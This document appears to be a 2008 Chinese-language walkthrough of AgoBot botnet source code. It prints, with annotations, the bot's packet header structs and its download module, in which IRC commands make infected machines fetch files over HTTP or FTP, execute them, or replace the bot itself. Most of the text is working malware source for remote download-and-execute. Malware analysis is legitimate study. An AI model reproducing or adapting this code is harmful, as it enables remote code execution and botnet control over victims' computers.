十八、2008年04月16日
作者:青青子衿
email:[email protected]
email:[email protected]
1、utility.h 文件中實現的功能比較雜這裏一一做成分析。
(1)、一些結構體的分析,具體結構體中成員的細節,不再累述。
//IP頭結構體
typedef struct ip_hdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IPHEADER;
//
typedef struct tsd_hdr
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSDHEADER;
//TCP頭結構體
typedef struct tcp_hdr
{
unsigned short th_sport;
unsigned short th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
unsigned short th_win;
unsigned short th_sum;
unsigned short th_urp;
}TCPHEADER;
typedef struct xheaders_s
{ bool bBroadcast;
int iTTL;
bool bUltrapeer;
} xheaders;
//消息結構體,這裏要和前面的消息類加以區分
typedef struct message_s
{ char szCommand[256];
char szParams[1024];
char szId[65];
char szIntFlags[191];
int iContentLength;
char *szContent;
} message;
//url信息相關的結構體
typedef struct url_s
{ CString sProto;
CString sHost;
int iPort;
CString sReq;
} url;
//http請求相關的結構體
typedef struct http_req_s
{ url uURL;
CString sMethod;
CString sHTTPVer;
CString sHeaders;
} http_req;
2、class CDownloader : public CCommandHandler類
class CDownloader : public CCommandHandler
{
public:
void Init();
bool HandleCommand(CMessage *pMsg);
command m_cmdDownload, m_cmdUpdate, m_cmdExecute, m_cmdVisit;
command m_cmdDownloadFtp, m_cmdUpdateFtp, m_cmdExecuteFtp;
};
(2)、Init()函數
/////////////////////////////////////////////////////////////////////
//
//函數功能:初始化CDownloader類,添加一系列與下載相關的指令
//參數: 無
//返回值: void
//
////////////////////////////////////////////////////////////////////
void CDownloader::Init()
{
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDownload, "http.download", "downloads a file from http", this); //通過http協議下載文件的指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdExecute, "http.execute", "updates the bot from a http url", this); //通過http協議更新bot的指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdUpdate, "http.update", "executes a file from a http url", this); //執行通過http協議下載程序的指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdVisit, "http.visit", "visits an url with a specified referrer", this); //訪問一個指定的url
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDownloadFtp, "ftp.download", "downloads a file from ftp", this); //通過ftp協議下載文件的指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdExecuteFtp, "ftp.execute", "updates the bot from a ftp url", this); //通過ftp協議更新bot的指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdUpdateFtp, "ftp.update", "executes a file from a ftp url", this); //通過ftp協議更新bot的指令
}
(3)、HandleCommand(CMessage *pMsg) 函數
/////////////////////////////////////////////////////////////////////////
//
//函數功能:指令處理函數
//參數: CMessage *pMsg 接收到的指令消息
//返回值: bool
//
//
////////////////////////////////////////////////////////////////////////////////
bool CDownloader::HandleCommand(CMessage *pMsg)
{
CString sHost, sPath, sUser, sPass, sTarget;
//執行通過http協議下載文件
if(!pMsg->sCmd.Compare("http.download"))
{
sHost.Assign(pMsg->sChatString.Token(1, " ")); //提取主機名
sPath.Assign(pMsg->sChatString.Token(2, " ")); //提取文件路徑
sTarget.Assign(pMsg->sChatString.Token(3, " ", true)); //提取下載目標文件的名稱
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost); //給CDownloadHelper類的對象賦值
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo); //回覆信息
pDldHlp->m_bExecute=false;
pDldHlp->m_bUpdate=false;
pDldHlp->m_bFTP=false;
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start(); //最終會啓動新線程,在新線程中運行run函數
}
//通過http協議,下載並執行程序
if(!pMsg->sCmd.Compare("http.execute"))
{
sHost.Assign(pMsg->sChatString.Token(1, " "));
sPath.Assign(pMsg->sChatString.Token(2, " "));
sTarget.Assign(pMsg->sChatString.Token(3, " ", true));
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost);
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=true; //標識執行該程序
pDldHlp->m_bUpdate=false;
pDldHlp->m_bFTP=false;
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start(); //啓動線程運行run函數
}
//處理bot通過http更新的指令
if(!pMsg->sCmd.Compare("http.update"))
{
sHost.Assign(pMsg->sChatString.Token(1, " "));
sPath.Assign(pMsg->sChatString.Token(2, " "));
sTarget.Assign(pMsg->sChatString.Token(3, " ", true));
if(!pMsg->sChatString.Token(4, " ").Compare(g_cMainCtrl.m_cBot.bot_id.sValue))
{
//提取第四個參數,與bot的ID值進行比較,如果相等進行下一步bot升級
//如果不相等,函數退出。
return false;
}
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost);
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=false;
pDldHlp->m_bUpdate=true; //標識執行bot升級
pDldHlp->m_bFTP=false;
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start();
}
//處理ftp協議的下載指令
if(!pMsg->sCmd.Compare("ftp.download"))
{
sUser.Assign(pMsg->sChatString.Token(1, " "));
sPass.Assign(pMsg->sChatString.Token(2, " "));
sHost.Assign(pMsg->sChatString.Token(3, " "));
sPath.Assign(pMsg->sChatString.Token(4, " "));
sTarget.Assign(pMsg->sChatString.Token(5, " ", true));
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost);
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sUser.Assign(sUser);
pDldHlp->m_sPass.Assign(sPass);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=false;
pDldHlp->m_bUpdate=false;
pDldHlp->m_bFTP=true; //標識ftp協議下載
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start();
}
//處理下載遠程程序,並執行的指令
if(!pMsg->sCmd.Compare("ftp.execute"))
{
sUser.Assign(pMsg->sChatString.Token(1, " "));
sPass.Assign(pMsg->sChatString.Token(2, " "));
sHost.Assign(pMsg->sChatString.Token(3, " "));
sPath.Assign(pMsg->sChatString.Token(4, " "));
sTarget.Assign(pMsg->sChatString.Token(5, " ", true));
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost);
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sUser.Assign(sUser);
pDldHlp->m_sPass.Assign(sPass);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=true; //標識執行下載後的程序
pDldHlp->m_bUpdate=false;
pDldHlp->m_bFTP=true; //標識使用ftp協議
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start();
}
//通過ftp協議更新bot程序的指令
if(!pMsg->sCmd.Compare("ftp.update"))
{
sUser.Assign(pMsg->sChatString.Token(1, " "));
sPass.Assign(pMsg->sChatString.Token(2, " "));
sHost.Assign(pMsg->sChatString.Token(3, " "));
sPath.Assign(pMsg->sChatString.Token(4, " "));
sTarget.Assign(pMsg->sChatString.Token(5, " ", true));
if(!pMsg->sChatString.Token(6, " ").Compare(g_cMainCtrl.m_cBot.bot_id.sValue))
{
return false;
}
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost);
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sUser.Assign(sUser);
pDldHlp->m_sPass.Assign(sPass);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=false;
pDldHlp->m_bUpdate=true; //標識執行bot升級
pDldHlp->m_bFTP=true; //標識使用ftp協議
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start();
}
return true;
}
3、class CDownloadHelper : public CThread 類
////////////////////////////////////////////////
//
//類的功能:下載功能的輔助類,是線程類的子類
//
///////////////////////////////////////////////////
class CDownloadHelper : public CThread
{
public:
virtual ~CDownloadHelper() { }
virtual void *Run();
CString m_sHost; //主機名
CString m_sPath; //路徑
CString m_sUser; //用戶名
CString m_sPass; //密碼
CString m_sTarget; //目標文件名
CString m_sReplyTo; //回覆信息
bool m_bExecute; //是否執行
bool m_bUpdate; //是否更新
bool m_bFTP; //是否使用ftp
bool m_bSilent; //是否靜默狀態
bool m_bNotice; //是否發送Notice數據包
};
(1)void *CDownloadHelper::Run() 函數
void *CDownloadHelper::Run()
{
// If the params are invalid, return
if(!m_sHost.Compare("") || !m_sTarget.Compare("") || !m_sPath.Compare("")) //如果主機名,路徑、目標文件名爲空
{
//從線程堆棧中釋放該線程。
g_cMainCtrl.m_lCanJoin.push_back(this);
return NULL;
}
if(m_bFTP)
{
//如果通過ftp協議下載
if(!m_sUser.Compare("") || !m_sPass.Compare(""))
{
//如果用戶名和密碼爲空則將本線程從線程堆棧中彈出,函數返回。
g_cMainCtrl.m_lCanJoin.push_back(this);
return NULL;
}
}
// Get the port from the host, set it to default if none is specified
int iPort=0; //將端口值清0
if(m_sHost.Token(1, ":").Compare(""))
{
iPort=atoi(m_sHost.Token(1, ":").CStr()); //從m_sHost變量中提取端口值
}
if(iPort==0) //如果端口值是0,通過使用的傳輸協議,爲端口值賦值。
{
if(m_bFTP) //使用ftp傳輸時使用默認端口21
{
iPort=21;
}
else //使用http協議進行傳輸時,使用默認端口80
{
iPort=80;
}
}
// Store only the ip/host in m_sHost
CString sTemp(m_sHost.Token(0, ":")); //只取一個IP地址或是host地址
m_sHost.Assign(sTemp); //將其放入m_sHost變量中
// Expand environment variables if compiled on Win32 //如果在window系統中,需要擴展環境變量
#ifdef WIN32
char szTemp[MAX_PATH];
ExpandEnvironmentStrings(m_sTarget.CStr(), szTemp, MAX_PATH); //擴展環境變量,得到全路徑
m_sTarget.Assign(szTemp);
#endif
if(m_bFTP) //通過ftp模式進行傳輸
{
netbuf *nControl; // 一個結構體類型的指針變量
FtpInit(); //調用WSAStartup函數,初始化網絡設置
if(!FtpConnect(m_sHost.CStr(), &nControl)) //如果連接失敗,返回0.
{
//處理連接失敗代碼。
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to connect to ftp.", m_sReplyTo); //向控制端返回“無法連接的”提示信息
g_cMainCtrl.m_lCanJoin.push_back(this); //將本線程從線程堆棧中彈出。
return NULL; //函數返回,新創建的線程退出。
}
if(!FtpLogin(m_sUser.CStr(), m_sPass.CStr(), nControl)) //登錄ftp服務器
{
//登錄失敗
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to login to ftp.", m_sReplyTo);
g_cMainCtrl.m_lCanJoin.push_back(this); return NULL;
}
//向控制端返回登錄成功信息。
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Receiving file.", m_sReplyTo);
if(!FtpGet(m_sTarget.CStr(), m_sPath.CStr(), FTPLIB_IMAGE, nControl)) //表示接收圖片FTPLIB_IMAGE,這裏的含義應該是接收二進制數據
{
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to download from ftp.", m_sReplyTo);
g_cMainCtrl.m_lCanJoin.push_back(this); return NULL;
}
FtpQuit(nControl); //退出ftp連接
}
else //通過http模式進行傳輸
{
int sSocket, d;
CString sSendBuf, sReply;
sSocket=DoTcpConnect(m_sHost.CStr(), iPort);//主機名、端口,返回值爲socket套接字
if(sSocket==SOCKET_ERROR) //如果連接失敗,返回提示信息,給控制端
{
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to connect to http.", m_sReplyTo);
g_cMainCtrl.m_lCanJoin.push_back(this); xClose(sSocket); return NULL;
}
//構造發送數據。
sSendBuf.Format("GET %s HTTP/1.0/r/nConnection: Keep-Alive/r/nUser-Agent: Mozilla/4.75 [en]/r/nHost: %s:%d/r/n/r/n", m_sPath.CStr(), m_sHost.CStr(), iPort);
//向http服務器發送請求數據。
xWrite(sSocket, sSendBuf.CStr(), sSendBuf.GetLength());
//向控制端返回當前狀態Receiving file
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Receiving file.", m_sReplyTo);
//打開文件,準備保存下載的文件。
FILE *file=fopen(m_sTarget.CStr(),"wb");
if(!file)
{
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Failed to open file.", m_sReplyTo); g_cMainCtrl.m_lCanJoin.push_back(this);
return NULL;
}
char szBuf[4096];
//處理包含http數據報頭的數據
while(true)
{
int i;
if((i=xRead(sSocket,szBuf,4096))<=0) //從http服務器上讀數據
{
break;
}
if(i<4096) szBuf[i]=0;
for(d=0;d<i;d++)
{
if(!strncmp(szBuf+d,"/r/n/r/n",4))//找到"/r/n/r/n"字符串後,該字符串前面的部分是http的頭,後面部分是準備下載的數據
{
for (d+=4;d<i;d++)
{
fputc(szBuf[d],file); //將數據寫入文件
}
goto done_http;
}
}
}
done_http: //處理之後沒有帶http數據包頭的數據
while(true)
{
int i;
if((i=xRead(sSocket,szBuf,4096))<=0) //從http服務器下載數據
{
break;
}
if(i<4096)
{
szBuf[i]=0;
}
for(d=0;d<i;d++)
{
fputc(szBuf[d],file); //將數據寫入文件。
}
}
fclose(file); //關閉打開的文件指針
xClose(sSocket); //關閉套接字
}
//判斷是否需要在更新bot
if(!m_bUpdate)
{
//不需要更新
//download isn't an update
g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "download to %s finished.", m_sTarget.CStr());
//判斷是否需要運行新下載的文件
if(m_bExecute)
{
//需要運行
Execute(m_sTarget.CStr(), "");
g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "opened %s.", m_sTarget.CStr());
}
}
else
{
//需要更新AgoBot
//download is an update
g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "download to %s finished, updating...", m_sTarget.CStr());
if(CreateProc(m_sTarget.Str(), "-update")) //將新下載的bot運行起來
{ // successful update, remove and exit
#ifdef WIN32
if(g_cMainCtrl.m_cBot.as_enabled.bValue)
{
g_cMainCtrl.m_cInstaller.RegStartDel(g_cMainCtrl.m_cBot.as_valname.sValue); //刪除原有的啓動項,新bot的啓動項會在新bot運行時設置
}
#endif
g_cMainCtrl.m_cInstaller.Uninstall(); //卸載舊bot程序
g_cMainCtrl.m_bRunning=false; //將運行狀態設置爲false
exit(1); //進程退出
}
else
{
//更新失敗
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "update failed: error executing file.", m_sReplyTo.Str());
}
}
g_cMainCtrl.m_lCanJoin.push_back(this);
return NULL;
}